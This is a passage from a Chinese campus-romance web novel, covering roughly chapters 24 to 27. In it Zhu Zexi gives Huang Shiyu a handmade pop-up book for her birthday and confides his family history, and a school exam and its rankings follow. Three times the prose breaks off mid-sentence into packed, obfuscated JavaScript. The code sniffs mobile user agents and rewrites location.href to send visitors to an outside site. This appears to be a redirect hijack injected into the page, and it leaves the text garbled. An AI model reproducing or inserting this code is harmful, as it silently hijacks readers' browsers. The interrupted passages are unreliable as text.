“祝则溪,没想到黄时雨还真挺喜欢那套手账的。” 齐章年因为在学生宿舍没有床位,只能勉强在教室里趴着睡会儿,祝则溪正好也想再改进一下立体书,增加一下立体书的精致度,所以也就没有回宿舍。 教室里就他们两个人。 “毕竟我当观察员这么多年了,错不了。” 教室里的桌子其实挺不适合睡觉的,又矮又硌,齐章年睡了一会儿没睡着,就靠过来看祝则溪做立体书。 “我看你都弄得挺完美的了啊,还要怎么改啊?” 祝则溪摇摇头,手上却没停下来,铅笔的勾画声不绝于耳,“有的机关还有点不太灵活,我想再调一下,还有的地方想弄得更丰富一些,看起来满满当当的最好。” 毕竟这不是祝则溪第一年给黄时雨做生日礼物了。 具体是什么时候知道黄时雨的生日的,连祝则溪自己都说不清楚。 只是从初中开始,祝则溪便慢慢养成了一个习惯,每年都会根据当下的流行趋势给黄时雨做一份生日礼物,每一份做好的生日礼物都会整整齐齐地放在卧室的柜子里,并被贴上带有时间的标签。 不过这是祝则溪一个人的秘密。 他将所有爱意尘封在时间里,等待她的亲启。 也许是十八岁生日,也许是毕业,也许永远不会被知晓。 一直弄到上课铃响,老刘走进教室翻开课本准备上课时,祝则溪才停下来,把所有工具都收到桌下的箱子里。 不知道是不是这几个月心思有点跑偏了,祝则溪连着三次周测的成绩都不太理想。 老刘鉴于他是美术生,所以一直也没对他说什么重话。 直到上周周测成绩出来,祝则溪又又又退步到全班后几名的水平时,老刘忍无可忍,只好在下午吃饭的时候,把他叫到办公室里单独谈话—— “祝则溪,虽然你是美术生,对文化课要求没那么高,但是如果你想考一个还不错的美术院校,这个文化课成绩至少要过线吧,你觉得呢?” 祝则溪低着头不吭声,不知道是同意还是反对。 老刘见状只好继续说,“我知道你家里的情况,也明白你的处境,但是我们学习不是为别人学的,是为自己学的,是为你自己的前途打下一个良好的基础,对不对?” 祝则溪在心里默默叹气,并立刻点点头。 也许这段时间确实有点喜欢胡思乱想了,祝则溪默默下定决心,得赶紧找回学习状态才行。 距离晚自习下课还有最后五分钟,祝则溪的心跳变得越来越快。 他做了这么多年礼物,在今天终于有机会被拆箱验货了。 “叮——” 初中部的下课铃一直都是《梦中的婚礼》,不知道高中部这边怎么退步成了最老的那款,每次打铃的时候都是又突兀又急促,给走神的人吓得一激灵。 祝则溪看着教室的人群渐渐散去,伸手轻轻抚摸着那本厚厚的立体书,然后把它装到礼物袋里,提着往三班走。 刚在走廊上没走几步,就看到黄时雨从教室里跑出来。 她晚上专门扎了一个丸子头,看起来比普通马尾更有青春活力。 “好大的袋子啊,”黄时雨快步跑过来,站在祝则溪面前整理吹乱的刘海。 “走吧,去操场,”祝则溪把手中的袋子换到右边,以便两人可以离得更近一些。 夜晚的风还是有点凉,黄时雨不得不把外套裹紧。 住校第一天开始,黄时雨和祝则溪几乎每天晚上都会一起回宿舍,大多数时候都是祝则溪提前几分钟在教室外等着,不过他从来不会敲窗子催促或打扰,而是默默等黄时雨学习结束后慢慢走出来,两个人在回宿舍的路上能有一搭没一搭地说两句。但这对祝则溪而言,已经是一天中最幸福的时刻。 不过今天,黄时雨能明显感觉到旁边这个人好像有点紧张。 教室的灯光大多还亮着,照得整个操场也变得有些光亮。 不过这个时间点,操场的“明处”是不会有人的,但“暗处”就不好说了。 祝则溪突然停下脚步。 “怎么了?”黄时雨一头雾水地偏头看他。 “抱歉,”祝则溪深吸一口气,轻轻拉住黄时雨的手腕,拉着她径直走向主舞台旁边的一处观众席。 背靠着教学楼光线充足,前面又有月季花垂下的花枝,刚好遮住其他人的视线。 “等一下。” 黄时雨刚要坐下,祝则溪就从礼物袋里拿出一条围巾铺在椅子上。 “这个椅子太冰了,这样坐比较舒服。” 看到祝则溪拍了拍围巾,黄时雨也不再推辞,直接坐了下来。 “谢谢你哦。” “其实我想了很久,不知道该送你什么”,祝则溪一边说着,一边从礼物袋里拿出一本厚厚的立体书递给黄时雨,“最后决定做一本立体书给你,也不知道你喜不喜欢,打开看看?” 立体书黄时雨知道,网上教程很多,要花费大量的的时间和精力,少则一个星期,多则小半年,更何况—— 是在课业本就非常繁重的高二。 封面上裹着一层毛绒绒的布,摸起来手感很好,还缝着“HAPPY BIRTHDAY”的字迹。 “好漂亮啊,”黄时雨不断摩挲着立体书的封面,发出惊讶的感叹。 她感觉身边这位好像松了一口气。 她翻开第一页。 一打开,八个小纸片像花朵一样散开,上面用不同颜色的彩笔写了八种语言的“生日快乐”。 “这些文字都是我现学的,可能写得不怎么好,抱歉。” 黄时雨简直不敢想象做这样一本立体书究竟要花费多长的时间,对手工艺的要求有多高。 她看向祝则溪时眼里是藏不住的敬佩和感动—— “很好看,特别棒!” 她继续翻开第二页。 里面是黄时雨初一参加各种活动的画像,不仅复刻了比赛现场,还还原了黄时雨当时穿的衣服、梳的发型,用手轻轻一拉开关,画像就一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619094|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层一层地翻开,把尘封的记忆原原本本地展现在黄时雨眼前。 她继续翻开第三页、第四页、第五页…… 每一页都记录着黄时雨那一岁里的每一个“高光时刻”,有些可能时间久到连黄时雨自己都记不清了,却有另一个人用心至极,将她的一点一滴记录着,成为她人生的见证官。 每一页都精心雕琢,一幅又一幅的素描画,一个又一个灵巧的机关,还有用来丰富内容的剪纸和涂鸦,就像一幅艺术品一样,折射出黄时雨这些年来丰富多彩的生活,也折射出制作人在其中倾注的无穷的精力和心血。 黄时雨翻动书页的手停在高一那一页,她双手撑在椅子两边,眼睛上已经蒙上了一层雾,轻轻眨了眨眼就顺着脸颊一点一点往下流。 她心里又感激又惊讶,说话的声音都有些变了调—— “所有这些事情,你怎么都记得这么清楚啊?” 看到黄时雨脸上的泪痕,祝则溪没有马上回答,而是赶紧从兜里拿出纸巾,蹲到黄时雨面前,一点一点擦过黄时雨眼角的湿润。 他忍不住叹气,看到黄时雨落泪心里像被万箭穿心一般刺痛,“对不起,生日当天,不应该让你哭的。” 黄时雨努力切换成开心的笑容,她轻轻摇头,把所有想哭的冲动咽下去,用力眨掉眼角剩余的水光,“没有,就是有点感动到了。” “因为我觉得,你好像我的记录者。” 祝则溪抬头看着黄时雨的眼睛,看着她脸上的泪痕在月色的照耀下变得清晰,看着她因为感动而流露出的激动而赞叹的神情,才忽然意识到,这几个月来付出的所有时间和努力在此刻找到了真正的结局。 不知道是不是听错了,黄时雨好像听到祝则溪低头的唇齿间露出一声轻笑。 “是我的荣幸。” 黄时雨继续往后翻。 最后一页是祝则溪画的“未来”。 里面有黄时雨在家门口收到心仪大学的录取通知书,在毕业典礼上当选为“优秀毕业生”,在公司在电脑前看到升职加薪的通知,在假期里去环游世界…… “你怎么知道我的未来是这样的?” 从这些画面上看,黄时雨的人生顺风顺水,万山无阻。 祝则溪侧头看着黄时雨的笑脸,也忍不住跟着笑起来—— “因为,我希望是这样。” 黄时雨在这一页停留了很久,才偶然发现,祝则溪画的未来里,一直都只有黄时雨自己一个人。 她指着其中一幅画,半开玩笑地说,“怎么这些画里,都只有我一个人啊?” 半响,祝则溪没有说话。 只剩下风吹过月季花发出的声音。 黄时雨立刻意识到可能说错话了,怕祝则溪误会,于是连忙道歉,“对不起,我没有挑剔的意思,我真的很喜欢,真的。” 祝则溪摇摇头,偏头直勾勾地盯着黄时雨的眼睛,声音轻得像会被风吹散—— “因为我不知道那个人是谁,”祝则溪顿了顿,“也不想知道。” 25. 第二十五次招惹 收起立体书,黄时雨的情绪也渐渐缓和下来。 月光洒在路面上,像是给宁静的夜晚包裹了一层神秘的面纱,偶尔身边经过几个住校学生,每一个脚步都急匆匆的,仿佛是去赴一场即将闭幕的盛会。 只有黄时雨和祝则溪走得慢悠悠的。 黄时雨在路上一直对那本立体书爱不释手,终于还是忍不住好奇—— “这本立体书,你做了很长时间吧?” 祝则溪把面前的石子踢到旁边,矢口否认,“没多久,就半个月。” “半个月就做好了?!” 黄时雨先是有些怀疑,但转念一想,人家可是美术生,可能这点小事根本不在话下,又硬生生把后面的话给咽了下去,心里只留下惊讶和崇拜。 “嗯。” 祝则溪的语气相当笃定。 跑道边缘的草皮还带着白天的潮气,踩上去有轻微的弹性,仿佛大地在呼吸。操场失去了白天的哨声、喝彩和音乐,整个操场就好像被按下了暂停键。 “住校还习惯吗?” 黄时雨在住校期间已经不知道听到过多少人的询问了,每次都是类似一模一样的问题。 但她还是会耐心回复,和现在一样,“早就习惯了,住校也很有意思。” “我是因为我爸爸临时出门谈生意才住校的,你呢?” 祝则溪可能没想到黄时雨会突然问自己的家庭情况,脑子里一片混乱,不知道从何说起。 祝则溪一直都很避免提到原生家庭相关的情况,他不确定对方是否是出于善意,更不确定是否在未来的某一天这样的“坦诚相待”会成为刺向自己的一根利刃。 但是,如果提问的人是黄时雨呢? 是否会成为无数次沉默里的唯一特例? 他想,是的。 “我目前是一个人住,家里的情况比较复杂。” “噢抱歉抱歉,”黄时雨没想到会无意间戳到祝则溪的痛处,必须得为自己的冒失负责。 “如果你不愿意说我不会再问,但是如果你想说的话,我会认真听的,我觉得对你来说,我也许是一个很合适的倾听者,对不对?” 她抬眼,刚好和祝则溪平和如月光的眼神短暂交织。 向别人讲述自己的原生家庭,特别是破碎的原生家庭是一场豪赌,可是对于祝则溪来说,黄时雨或许是一个很适合的倾诉对象。 至少,他愿意相信。 “我妈妈在生我的时候难产去世了,之后我爸爸不到一年就娶了续弦,开始跟着新家庭生活,”祝则溪叹了口气,继续往下说。 “从那之后,就是小姨一直在照顾我,直到我读初中,我爸都从来没有来看过我一次。” “?!” 在此之前,黄时雨多多少少有从别人那里听到过关于祝则溪家庭情况的描述,不过大都断断续续,也不全面,可靠性极低。 黄时雨只知道他的家庭有些复杂,可当这个事实从当事人嘴里说出来的时候,尽管很不愿意,但黄时雨也不得不接受,这就是现实。 既然祝则溪愿意告诉自己,自己就有了帮他保守秘密的义务。 “小姨现在没有跟你一起生活了吗?” 祝则溪犹豫了一下才点头,“她在我初一那年就搬走了,是我让她搬走的,小姨也应该去追求她的人生。” “我不能让我的依赖,阻碍她走向未来。” 黄时雨始终相信,从泥潭里开出的花,一定会拥有永不凋零的微笑。 祝则溪也是。 “我相信你的未来,一定日日是好日,寿星说的哦,很灵验的!” 祝则溪的脚步慢下来,也忍不住跟着笑起来,配合地说,“ 那就谢谢寿星大人啦。” “而且,你现在已经是一个很厉害的……小大人了!” 黄时雨继续补充。 叫大人好像不合适,叫小孩更不合适。黄时雨突然大脑一片空白,采取折中措施,产生了一个奇怪的“小大人”的称呼。 “小大人,”祝则溪模仿她的语气重复了一遍,发出一声轻笑,“那我们都是小大人。” 看到祝则溪的眉头终于舒展开,又变成平时温柔的样子,黄时雨才松了一口气。 “嗯,以后都会成为很厉害的大大人!” 回到宿舍。 正在阳台上刷牙的卜佳笑盈盈地打招呼—— “寿星回来啦!” 黄时雨看到卜佳包着干发帽,疑惑地问,“你今天怎么这么早就回来了?” “因为周五周六要考试啊,小考小耍,大考大耍嘛。” 卜佳含着牙刷回答得理直气壮。 黄时雨突然被噎住,只好笑着叹气。 “这是什么?” 卜佳眼尖地走过来,把黄时雨刚放下的立体书拿起来。 卜佳一边翻,一边捂着嘴发出连连惊叹—— “天呐,这是谁送给你的啊,这也做得太好了吧!” 黄时雨也赞同地点点头,“人家说做了半个月呢。” 卜佳翻页的手突然顿住,自信地冲黄时雨摆手,“绝不可能,我做过立体书,就这种精美程度,至少两个月起步。” “还得是日均四小时那种。” 黄时雨瞬间怔住。 果然还是印证了她之前的猜测,半个月是远远不够的。 “所以是谁送的?” 卜佳不断摇晃着黄时雨的肩膀,一脸八卦样。 “我……我发小送的。” 黄时雨害怕“祝则溪”这个名字一出来引发更大的动乱,只好随便凭空捏造了一个发小出来。 “噢,”卜佳一下子失去了兴致,跻着拖鞋坐回床边,“我还以为是……那位呢。” 卜佳故意把“那位”两个字咬得很重。 黄时雨太知道卜佳心里在想什么了,立刻杀过去一个威胁的眼神。 卜佳立马噤声。 黄时雨这才放心去洗漱。 “卜佳,这次考试的语文背诵要考初中部分吗,我们老师好像没说。” 黄时雨突然想起这个重要事情。 卜佳从被子里钻出来,手机还亮着。 “要考,我们老师说了。” “但是初中部分我有点记不住。” “我也,这几天早自习多背背吧。” 满城一中的早自习是一天语文,一天英语,交替着来。黄时雨利用这最后三天,把考试范围内的内容全部都过了一遍。 明天就是上考场的日子了,黄时雨决定趁这个晚自习再把做过的题型全部梳理一遍,不至于在考场上产生似曾相识但又想不起来的尴尬感。 “黄时雨,来一下。” 下午的放学铃刚打响,老赵就走到黄时雨座位前,轻轻敲了一下她的桌面。 黄时雨疑惑地看了一眼吴笙笙,还是在后面跟着老赵走了出去。 老赵坐在办公桌前,从抽屉里拿出一叠信息条和好几张大牛皮纸。 看这样,估计今天晚上的晚饭又要泡汤了,这大概率是要让我去贴吧,黄时雨心里叫苦不迭。 “把信息条按顺序贴在座位右上角,用牛皮纸遮住教室里所有文字哈,去吧。” “好的,赵老师。” 黄时雨接过信息条,出办公室的时候差点被门框绊了一下。 “慢点慢点。” 罗亦芃不知道从哪个角落突然冒出来的,拉住了黄时雨的胳膊。 黄时雨站稳后,整理了一下衣服,发现罗亦芃手里也有一叠信息条。 “走吧,咱们都是苦命的人。” 文科班和理科班的教室安排不一样,这次一、二、三班都被设置成了理科考场。 罗亦芃边往教室走边翻看手里的信息条—— “诶,怎么没找到你的名字啊?” 黄时雨心里咯噔一下,不敢接话,绝望地把脸扭向另一边,上学期期末第69名的那个噩梦简直太可怕了,“因为我上学期期末考了年级第69名,已经掉出第一考室了。” “啊???”罗亦芃不由得惊讶出声,但很快又收敛住,在黄时雨面前打了个响指, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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贴好信息条,黄时雨环视周围,想再多找几个人帮忙。 她一眼就注意到了坐在最后一排最角落的蒲杰。 黄时雨看他戴着耳机,正借着立起来的课本的掩护,在里面偷偷听歌。 “蒲杰,能不能麻烦你来帮我们贴一下教室里的这些字啊,前面后面还有周围?” 黄时雨害怕他听不到,走到他面前弯下腰说的。 蒲杰刚抬头时有点懵,看到黄时雨手里抱着的牛皮纸才反应过来,非常爽快地摘下耳机,“行,贴吧。” 作为三班个子最高的男生,蒲杰跟祝则溪站在一起时,看起来似乎比祝则溪还要壮实一些。 两个人一个贴左边,一个贴右边,黄时雨站在讲台上指挥,速度明显快了不少。 “祝则溪,有点歪,再往上贴一点吧。” “这样?” 祝则溪拎着牛皮纸撑在墙上。 “可以可以。” 黄时雨正指挥着两个人,突然教室门“咚”的一声撞到墙上又反弹回来,吸引了三个人的注意。 原来是吴笙笙回来了。 “给你,面包。” 吴笙笙把面包塞到黄时雨怀里,眼神忽然注意到祝则溪,煞有介事地轻轻咳了一声。 黄时雨背过手去轻轻捏了一下她的胳膊,表情上努力保持自然,“怎么了笙笙,喉咙不舒服吗?” 吴笙笙仿佛没事人一样,又咳了一声,“就是,有点喉咙疼。” 很快,祝则溪和蒲杰就把教室四面的文字都用牛皮纸遮起来了,教室里的考试氛围瞬间上升了好大一截。 风一经过,牛皮纸还会发出噗噗的声音,像是宣布考试准备时间正式进入倒计时。 黄时雨把面包掰开,“蒲杰,吃吗?” 蒲杰摆手,把桌椅归位,“不了,我书包里有吃的。” 黄时雨又转向祝则溪,“你吃吗?” 祝则溪掏出纸巾把手擦干净,才接过面包吃掉,还边嚼边说,“谢谢,挺好吃的。” 黄时雨也拿起一块扔到嘴里,“确实不错。” 26. 第二十六次招惹 黄时雨坐在第二考场里,心里很不是滋味。 虽然并不是第一次在第二考场里考试,但是这么靠后的位次还真是第一次。 一个班35个人,两个班70个人。也就是说,黄时雨稍微再少考几分,就要在自己班上考试了,这简直就是不敢想象的噩梦。 “这次一定要打个漂亮的翻身仗,加油呀黄时雨!” 教室里的挂钟指向九点整,一阵急促的铃声响起,考试正式开始。 一次考试能否考好,在考试过程中就能看出七八成。 比如这一次,最后一场英语考试结束,黄时雨站起来,等待老师收卷时,没有再像以前那样紧张得反复思考题改对了没有,而是气定神闲地收拾笔袋,开始思考等会儿吃什么。 “本次阶段性考试到此结束,请同学们带好自己的随身物品,预祝你们取得好成绩!” 伴随着广播里这句结束语,同学们陆陆续续回到自己班里。 五点考试正式结束,距离放学还有二十分钟,同学们在教室三五成群地聊天或者对答案,遇到有争议的题目,讨论的声音甚至一浪高过一浪,像过年围着大人要红包的小孩子,每个人都在据理力争。 黄时雨是从来不参加这些的,也没有兴趣。之前偶尔有个别人来问某个语文或英语选择题,黄时雨都一律用“忘记了”“我也不太确定”搪塞过去,久而久之,大家也不再自讨没趣。 这周星期天,黄时雨的两周住校体验就到期了。 和搬来的时候一样的是,依然是黄爸爸和黄妈妈来帮忙;和搬来的时候不同的是,这次要搬的东西比之前多得多。 黄时雨提前跟室友们打过招呼,可能要搬很长时间,所以其他人都在教室学习,宿舍里只剩自己和爸爸妈妈。 “你怎么这么多东西啊,”黄妈妈一边收拾,一边吐槽。 黄时雨在床上收拾床铺,探出头无奈地说,“我也不知道,其实我没买什么东西,莫名其妙就很多了。” 黄爸爸在门口把东西一样一样往行李箱里塞。箱子里已经鼓鼓囊囊的,但地上的东西仿佛没有变化,开始是怎么摆的现在还是怎么摆的。 “这个香薰,这个身体乳,这个蒸汽眼罩,还有这些个什么小玩意儿,都是新买的吧,行李箱都快放不下了。” “什么嘛,那些都是宿舍好物,我专门做了功课才买的。” 黄爸爸又好气又好笑,“行行行,买东西一时爽,一会儿你自己拿啊。” “自己拿就自己拿!” 虽然嘴上说让黄时雨自己拿,最终却只给了黄时雨一个小行李箱,剩下的真正有重量的东西都装在了黄爸爸自己拎的编织袋子里。 可是黄时雨手里这个行李箱毕竟是24寸的,里面随便塞点杂七杂八的小零碎,也重得够呛。 黄时雨侧着身子,一步一顿地下楼,结果刚到三楼就累得不行,只能暂时靠墙停顿一下。 背后的衣服因为出汗紧紧贴在身上,让本就热得不行的黄时雨更是汗如雨下,她稍作休息,从衣服兜里拿出发圈三两下把头发绕成丸子,准备一鼓作气搬下楼。 “我来帮你吧。” 黄时雨刚把行李箱拉杆握住,一只骨节分明的手就搭在了黄时雨的行李箱上,不由分说地单手拎起来。 黄时雨在后面跟着,对祝则溪此时的出现感到惊讶,“祝则溪,你怎么没去教室啊?” 祝则溪的外套袖子被挽到手肘,露出一节结实的胳膊,在微微用力的状态下冒出几根耸立的青筋。 “没有,午休刚起来,还没去。” 祝则溪把行李箱放在宿舍门口的空地上,抹了一把额头微微浸出的汗—— “你还有别的行李吗?” 黄时雨点点头,“还有一个编织袋和一个装床单被套的袋子,我爸妈帮我拿下来。” “那你在这儿看着行李,我上去接应一下他们吧。” 还没等黄时雨回答,祝则溪已经冲了上去。 很快,三件行李就全部被搬了下来。 “谢谢你啊,小伙子,”黄爸爸拍拍祝则溪的肩膀,赞许地看着他。 “你叫什么名字啊,也是苗苗的好朋友吗?” 黄时雨心里一惊,悄悄挪到妈妈身边,压低声音说—— “妈妈,不是让你不要在学校叫我的小名吗?” “哎呀这不就是习惯了嘛,脱口而出。” 祝则溪收起笑容,一脸认真,“阿姨,叔叔,我叫祝则溪,是高二一班的,也是……” 祝则溪的眼神快速扫过黄时雨,在心里斟酌了一下用词,“黄时雨的好朋友。” 在宿舍收拾了一个多小时,回到家又要收拾一个多小时,黄时雨像一台失去了思考能力的运转机器,只是自顾自地把所有物品放回原位,就像从来没有离开过一样。 对于高中生来说,仅剩的周日下午的休息时间,也无非就在吃午饭、睡午觉、洗澡洗头、洗衣服、吃晚饭中悄然溜走,当再次回过神来时,又坐上了去学校的车。 刚走上二楼,黄时雨就听到教室门口一群人在谈论考试成绩。 她们几乎占据了整个走廊,黄时雨想听不到都难。 “出成绩了!” “这么快?” “你快去问老赵!” “你去你去,反正我不去。” 不可能这么快吧,黄时雨心里一紧。 虽然黄时雨自认为这次考得不错,但听到真的要出成绩了,心里还是难免有点七上八下。 “你们怎么知道成绩出来了?” 黄时雨挤到那群女生中间,“不过马上就上晚自习了,要是真出了,老赵应该会来宣布吧。” “我们也是听说的。” “就是想提前知道,好有心理准备。” “班长,要不你去问问看,怎么样?” “我不去我不去!” 黄时雨拒绝地斩钉截铁。 虽然黄时雨已经是老赵办公室的常客了,但是在打听成绩这件事上还真是小白,而且万一考得不好,岂不是要当着所有老师的面开批斗大会,黄时雨可丢不起这人。 “去嘛,去嘛,好不好?”几个女生拉着黄时雨的胳膊摇来摇去,黄时雨的想法也从最开始的坚定拒绝变得有些动摇。 黄时雨被拉得左摇右晃,好不容易才站稳。 “嗯……好吧,那我去问问。” 黄时雨抱着视死如归的心态往办公室走。 还没到办公室门口,黄时雨就听见老师们在里面正热火朝天地讨论考试题目。 “这个文言文断句好多人错,明明就是选A,结果好多人选了C……” 选A啊…… 黄时雨在脑海里紧急回忆。 啊确实是,就是选A,黄时雨松了一口气。 “咚咚咚——” “请进!” 黄时雨的成绩不错,又是班长,也经常参加学校活动,所以办公室里的老师基本都认识她。 办公室里暖烘烘的,窗台上的绿植在夕阳下显得格外鲜亮。 老赵正跟旁边的老师有一搭没一搭地说话,看到黄时雨进来了,随即笑呵呵地问—— “问成绩来了?” 老赵难得有一天笑出来,黄时雨提到嗓子眼的心落下去一大半。 看来同学们应该考得还可以,不然老赵大概率笑不出来。 黄时雨试探性地张嘴,“对,出来了吗赵老师?” 黄时雨突然站定,站在离老赵办公桌三米远的地方“远程聊天”,一步也不敢往里走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619096|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就怕看到桌子上摆着成绩单。 她捏紧衣角,等待老赵的宣判。 小陈老师在一旁打趣,“你往前走啊,你们赵老师又不会吃了你。” 黄时雨象征性地往前挪动了一小步。 “总成绩还没出来——”老赵拖长尾音,黄时雨的肩膀微微垮了下去,可下一秒,老赵说出了一个更惊人的话,“不过,你这次物理考得很好,100分。” 黄时雨愣了一秒,眼睛倏地睁大。 “真的?”她的声音不自觉地扬了起来,像是生怕自己听错。 老赵毫不犹豫地点头,“只是卷子目前还在统分,还没发下来,不过我们班总共都没几个上100的,你就是其中之一。” “啊,谢谢赵老师,”黄时雨的语气里是藏不住的喜悦和激动。 一个月前,黄时雨还在为摸不透物理大题的窍门而急得抓耳挠腮,真的很难想到在这次考试中能够拿到三位数的好成绩。 “黄时雨,先别兴奋了,过来帮个忙。” 戚老师是一个年轻的女老师,她的座位在办公室最里面,每天除了改作业和备课时必须要跟教研组的其他老师讨论之外,戚老师基本不怎么说话。 看到戚老师招手,黄时雨三步并作两步走过去。 “怎么了,戚老师?” 戚老师从柜子里拿出一摞卷子,凑近看才发现是语文作文。 把每一次阶段性考试的优秀作文筛选出来,汇编成合集,再发给每个班的同学学习,是满城一中的传统。 作为作文分数常年稳定在42+的优秀选手,黄时雨基本次次都登上了作文合集。 所以黄时雨直接弯下腰,大胆询问,“这里面有没有我啊?” 戚老师忍俊不禁地伸出手指戳了一下黄时雨的额头—— “很自信嘛黄时雨同学,自己去翻。” 一般来说,每次优秀范文会选十篇左右,除了会印上作文内容,还会把班级,作者,分数通通印在上面,所以一来二去,大家会发现反复上榜的同学就那几个老面孔。 甚至有时候还会在路上听到有人谈论自己的作文,黄时雨总是会好奇地跟在后面偷听别人的评价,不管好评差评,她都照单全收。 “又有黄时雨诶!” 一班刚把优秀范文发下去,第一页上赫然写着的“黄时雨”几个大字就映入齐章年的眼帘。 祝则溪想要翻页的手也瞬间停住了。 他拿起红笔,在好几个句子下面小心翼翼地画上波浪线,笔尖悬在纸面上停顿了片刻,又在另一个绝妙的排比段旁边郑重地画了一颗五角星。 虽然已经在范文里见过很多篇黄时雨的佳作了,但每一次看到,总能给人带来新惊喜。 “她的排比功力又进步了,太厉害了。” “而且你看这一段——”祝则溪突然拽过齐章年的袖子,声音压得很低却掩不住兴奋,“工业革命时期,瓦特利用前人的发明巧妙改制蒸汽机,借他人之楫推动时代发展的洪流;而如今,我们更得以乘互联网之方舟,驰骋于无垠的信息瀚海,顷刻间贯通古今、联结寰宇。个体的能力虽有边界,然无数的工具与机遇,恰似那渡江的舟楫,助人横越天堑险滩;亦如可借力的好风,送有志者青云直上。” “这里放在最后一段真的很妙啊!” 齐章年配合地点头,“是是是,确实写得好,记得好好珍藏啊!” 祝则溪白了齐章年一眼,轻轻柔柔地把作文纸折得更加平整,指腹不着痕迹地抚摸过那个名字。 窗外的风从窗户边钻进来,祝则溪又低头读了一遍作文,悄悄用铅笔在最末页空白处画上了一个小小的爱心——刚好印在教务处盖章的“阅”字旁边,像是给这场注定会无疾而终的暗恋,盖了一个温暖的印章。 27. 第二十七次招惹 “来,宣读一下上个星期的考试成绩啊。” 早自习一结束,老赵就风风火火地闯进教室。 每次都是这句开场白,每次都是那张熟悉的成绩单。 黄时雨瞬间困意全无,原本正趴在桌子上准备小憩一会儿的同学也全都爬了起来。 教室里四面八方的目光都汇聚在老赵手中的成绩单上,像一张编织网牢牢束缚住了大家的关注。 不过老赵有一点好,他从来只报名次不报分数。 “第一名,黎果,也是年级第一。” 毫无悬念的排名,毫无悬念的排山倒海的掌声。 “第二名,吴笙笙,年级第三。” “吴笙笙”和“年级第三”两个词同时钻到黄时雨的耳朵里,要不是因为课堂上不允许尖叫,黄时雨现在应该已经抱着吴笙笙疯狂摇晃了。 “天呐,太厉害了吧,你是不是背着我偷偷去哪里进修了,快说快说!” 黄时雨努力压低声音,但话里话外的欣喜和激动还是抑制不住地表露出来,从异常安静的教室里冒出来显得格外突兀。 吴笙笙赶紧做了一个“嘘”的动作,示意黄时雨小点声。 “还行还行,你正常点好吗?” “难道你早就猜到自己能考这么好了,居然都不告诉我!” 黄时雨自以为很小幅度地扯了扯吴笙笙的袖子,却被正站在台上念成绩的老赵一览无余。 黄时雨和老赵对视后心虚地低下头,嘴巴绷成一条毫无起伏的横线。 …… “第七名,黄时雨,年级第十五。” 什么?! 第十五名?! 黄时雨立即把双手插在一起撑住额头,不敢让别人看到自己这副得意的嘴脸。 从第69名飞升到第15名,这是什么质的飞跃啊! “你也不赖嘛,刚刚还在那儿一个劲儿夸我,是不是?” 吴笙笙拐了一下黄时雨的胳膊,挑了挑眉。 “哎呀,彼此彼此。” 还有四个小时,就可以回家炫耀分数了,黄时雨在心里默默盘算着。 在经历了两个星期的住校生活后,中午放学突然要改变路径、扭转脚步方向走向校门,黄时雨莫名还有点生疏。 “苗苗,今天怎么这么慢啊,不习惯回家吃饭了?” 黄爸爸在前面开着车,正通过反光镜观察坐在后排、藏不住一点兴奋的黄时雨。 “爸爸,我跟你说,上周我们进行了阶段性考试,我考了——” 黄时雨突然停住,故意留下悬念。 黄爸爸一听这语气就知道是好事,但还是极力配合着,“所以考了多少名,多少分啊?” “哎呀,一般吧,也就考了全年级第15名而已。” “啊?这么厉害?” 黄爸爸立刻握紧方向盘,声音都不自觉高了八度。 言语里的兴奋劲儿、喜悦劲儿,好像一掐都能掐出水来。 “嗯,我要立刻跟我妈妈说,我还是第一次考进年级前15名好吗?” “给给给,”黄爸爸从兜里掏出手机递给黄时雨。 “妈妈妈妈妈妈!” 电话刚一接通,黄时雨就听到了电话那头妈妈收不住的笑意。 “你已经知道了?” “当然知道啦,我今天上午打电话问了你们赵老师,你们赵老师说你进步超级大!” 黄时雨蒙住嘴偷笑,黄爸爸透过后视镜看到黄时雨忍俊不禁的表情,也忍不住笑起来。 “这周末放月假,想去哪玩,妈妈带你去。” “嗯……” “要不我们去欢乐谷吧,好久没去过了。” “成交!” 这几天满城的天气热得有点不正常,才刚到三月底,气温就直逼30℃,黄时雨吃完饭躺在床上,一股热气包裹成了摇篮,让黄时雨在热浪中摇摇晃晃,怎么都睡不踏实。 “起床了苗苗,两点十分了。” 黄时雨刚迷迷糊糊睡着,黄爸爸就在外面敲门叫起床了。 “来了,”有气无力的声音在房间里响起。 坐在后排,黄时雨把车窗升起来,隔绝住外界的热浪。 一下车,外面一股闷热气,草木都显得耷拉,黄时雨用手挡住阳光,亦步亦趋地往校门里走。 果然,上午刚公布了成绩,行政处的老师们就在行政楼前把展板给弄好了,最上面“高二年级第一次阶段性考试成绩公示”几个大字就映入眼帘。 或许是因为大家都害怕太阳的毒辣,展板前的人并不多。 虽然已经对排在自己前面的人的分数了如指掌了,黄时雨还是走过去大致看了一下。 理科状元和文科状元的名字和分数用大字放在了第一排。 黄时雨大概算了一下,距离黎果还差44分。 “看啥呢,又在看你的高分啊?” 